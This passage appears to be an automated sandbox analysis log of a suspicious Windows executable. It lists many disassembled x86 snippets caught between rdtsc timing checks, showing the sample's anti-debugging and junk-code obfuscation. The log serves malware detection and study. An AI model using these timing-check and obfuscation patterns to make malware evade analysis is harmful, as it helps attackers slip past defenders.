0x00000063 jmp 00007FE620F50F97h 0x00000068 mov edi, ecx 0x0000006a popad 0x0000006b mov dword ptr [ebp-1Ch], esi 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007FE620F50F8Ch 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E43 second address: 4ED0E49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E49 second address: 4ED0E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E66 second address: 4ED0E72 instructions: 0x00000000 rdtsc 0x00000002 mov ch, 1Dh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 test al, al 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E72 second address: 4ED0F51 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE620F50F93h 0x00000008 and ah, FFFFFFCEh 0x0000000b jmp 00007FE620F50F99h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push esi 0x00000014 pushfd 0x00000015 jmp 00007FE620F50F97h 0x0000001a or ax, BDDEh 0x0000001f jmp 00007FE620F50F99h 0x00000024 popfd 0x00000025 pop eax 0x00000026 popad 0x00000027 je 00007FE692C94A2Ah 0x0000002d pushad 0x0000002e call 00007FE620F50F8Dh 0x00000033 pushfd 0x00000034 jmp 00007FE620F50F90h 0x00000039 jmp 00007FE620F50F95h 0x0000003e popfd 0x0000003f pop esi 0x00000040 pushfd 0x00000041 jmp 00007FE620F50F91h 0x00000046 xor cl, 00000026h 0x00000049 jmp 00007FE620F50F91h 0x0000004e popfd 0x0000004f popad 0x00000050 cmp dword ptr [ebp+08h], 00002000h 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0F51 second address: 4ED0F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, bh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A2D second address: 4EE0A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 movzx esi, bx 0x00000008 popad 0x00000009 push esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A3D second address: 4EE0A43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A43 second address: 4EE0A58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620F50F91h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A58 second address: 4EE0A76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE620D482DFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A76 second address: 4EE0A7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A7C second address: 4EE0A82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6216DCF second address: 6216DE1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE620F50F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007FE620F50F88h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6215DE3 second address: 6215DE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621607D second address: 62160DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE620F50F86h 0x0000000a jmp 00007FE620F50F94h 0x0000000f jmp 00007FE620F50F93h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE620F50F95h 0x0000001c jmp 00007FE620F50F96h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62164EC second address: 62164F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6218992 second address: 6218996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6218996 second address: 6218A30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 70A3A196h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FE620D482D8h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a jmp 00007FE620D482E8h 0x0000002f push 00000003h 0x00000031 push eax 0x00000032 and edi, 2BD07653h 0x00000038 pop esi 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007FE620D482D8h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 0000001Ah 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 mov dword ptr [ebp+122D23AAh], edi 0x0000005b push 00000003h 0x0000005d call 00007FE620D482D9h 0x00000062 pushad 0x00000063 pushad 0x00000064 jo 00007FE620D482D6h 0x0000006a push edx 0x0000006b pop edx 0x0000006c popad 0x0000006d push edi 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6218A30 second address: 6218A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 jo 00007FE620F50F9Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6218A41 second address: 6218A5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ebx 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6218A5B second address: 6218A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6218B1C second address: 6218BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620D482DBh 0x00000009 popad 0x0000000a jmp 00007FE620D482DBh 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007FE620D482E3h 0x00000016 nop 0x00000017 mov dword ptr [ebp+122D1E15h], eax 0x0000001d push 00000000h 0x0000001f add dword ptr [ebp+122D34E8h], edi 0x00000025 add dword ptr [ebp+122D1C4Eh], ebx 0x0000002b call 00007FE620D482D9h 0x00000030 jno 00007FE620D482F0h 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FE620D482E5h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6218BA2 second address: 6218BA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6218BA7 second address: 6218BCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE620D482D6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 pushad 0x00000013 push edi 0x00000014 pop edi 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push edx 0x00000019 jg 00007FE620D482D6h 0x0000001f pop edx 0x00000020 popad 0x00000021 mov eax, dword ptr [eax] 0x00000023 push esi 0x00000024 push edi 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6218D49 second address: 6218D6E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov edx, eax 0x0000000a push 00000000h 0x0000000c push 5836A853h 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE620F50F91h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6238509 second address: 6238531 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a jmp 00007FE620D482E3h 0x0000000f je 00007FE620D482D6h 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6238531 second address: 623855F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F8Eh 0x00000007 jmp 00007FE620F50F97h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623855F second address: 623856C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FE620D482DEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6236523 second address: 6236531 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE620F50F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6236531 second address: 6236535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6236535 second address: 623654F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 ja 00007FE620F50F86h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007FE620F50F86h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623654F second address: 623656B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62366AA second address: 62366C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FE620F50F92h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62366C2 second address: 62366C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6236C10 second address: 6236C3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FE620F50F94h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6236C3C second address: 6236C4C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jne 00007FE620D482D6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6236DC6 second address: 6236DD6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE620F50F8Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6236DD6 second address: 6236DE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620D482DAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6236DE4 second address: 6236DEE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6236F0A second address: 6236F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE620D482D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6236F14 second address: 6236F1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6237089 second address: 62370A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE620D482D6h 0x0000000a jmp 00007FE620D482DAh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62370A2 second address: 62370AF instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE620F50F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622FB55 second address: 622FB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620D482E6h 0x00000009 jmp 00007FE620D482DFh 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622FB83 second address: 622FBB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jo 00007FE620F50F86h 0x0000000c popad 0x0000000d jc 00007FE620F50F98h 0x00000013 jmp 00007FE620F50F90h 0x00000018 push edi 0x00000019 pop edi 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jng 00007FE620F50F86h 0x00000023 popad 0x00000024 push ecx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FCB14 second address: 61FCB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620D482E7h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c jmp 00007FE620D482E2h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 jmp 00007FE620D482E7h 0x0000001a pop edi 0x0000001b jne 00007FE620D482DCh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623806A second address: 6238072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6238072 second address: 6238078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6238078 second address: 6238089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 js 00007FE620F50F90h 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6238383 second address: 6238387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6238387 second address: 62383C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620F50F93h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c pushad 0x0000000d jng 00007FE620F50F8Ch 0x00000013 pushad 0x00000014 jmp 00007FE620F50F94h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FAF9B second address: 61FAFA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FE620D482D6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FAFA7 second address: 61FAFAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623F90C second address: 623F912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623E3B9 second address: 623E3BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FCB68 second address: 61FCB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 624518A second address: 62451A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FE620F50F90h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62452E0 second address: 624533C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jno 00007FE620D482DCh 0x0000000b jmp 00007FE620D482E9h 0x00000010 popad 0x00000011 jg 00007FE620D48309h 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007FE620D482DDh 0x0000001f jmp 00007FE620D482E6h 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 push ebx 0x00000028 pop ebx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6245595 second address: 624559B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 624580C second address: 6245810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6245810 second address: 6245832 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FE620F50F99h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6245832 second address: 624583F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE620D482D6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62479E0 second address: 6247A01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FE620F50F92h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6247A01 second address: 6247A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6247A11 second address: 6247A15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6247A15 second address: 6247A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6247A1B second address: 6247A2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620F50F90h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6247A2F second address: 6247A33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6247A33 second address: 6247A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jp 00007FE620F50FA7h 0x00000012 pushad 0x00000013 jmp 00007FE620F50F99h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6247A61 second address: 6247AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push 00000000h 0x00000008 push esi 0x00000009 call 00007FE620D482D8h 0x0000000e pop esi 0x0000000f mov dword ptr [esp+04h], esi 0x00000013 add dword ptr [esp+04h], 00000017h 0x0000001b inc esi 0x0000001c push esi 0x0000001d ret 0x0000001e pop esi 0x0000001f ret 0x00000020 or dword ptr [ebp+122D2EB6h], edx 0x00000026 call 00007FE620D482D9h 0x0000002b push eax 0x0000002c push edx 0x0000002d jne 00007FE620D482D6h 0x00000033 pop edx 0x00000034 pop eax 0x00000035 push eax 0x00000036 pushad 0x00000037 push ecx 0x00000038 jmp 00007FE620D482DFh 0x0000003d pop ecx 0x0000003e jl 00007FE620D482E3h 0x00000044 popad 0x00000045 mov eax, dword ptr [esp+04h] 0x00000049 pushad 0x0000004a push eax 0x0000004b push ecx 0x0000004c pop ecx 0x0000004d pop eax 0x0000004e push eax 0x0000004f push edx 0x00000050 push ebx 0x00000051 pop ebx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6247AD3 second address: 6247AE4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE620F50F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6248056 second address: 624805A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 624805A second address: 624805E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 624805E second address: 624806F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007FE620D482F0h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62481C5 second address: 62481CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62481CC second address: 62481E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE620D482E0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62486DB second address: 62486E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62488A5 second address: 62488AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62488AA second address: 62488B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62489B7 second address: 62489BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6248A74 second address: 6248A7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6248B46 second address: 6248B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
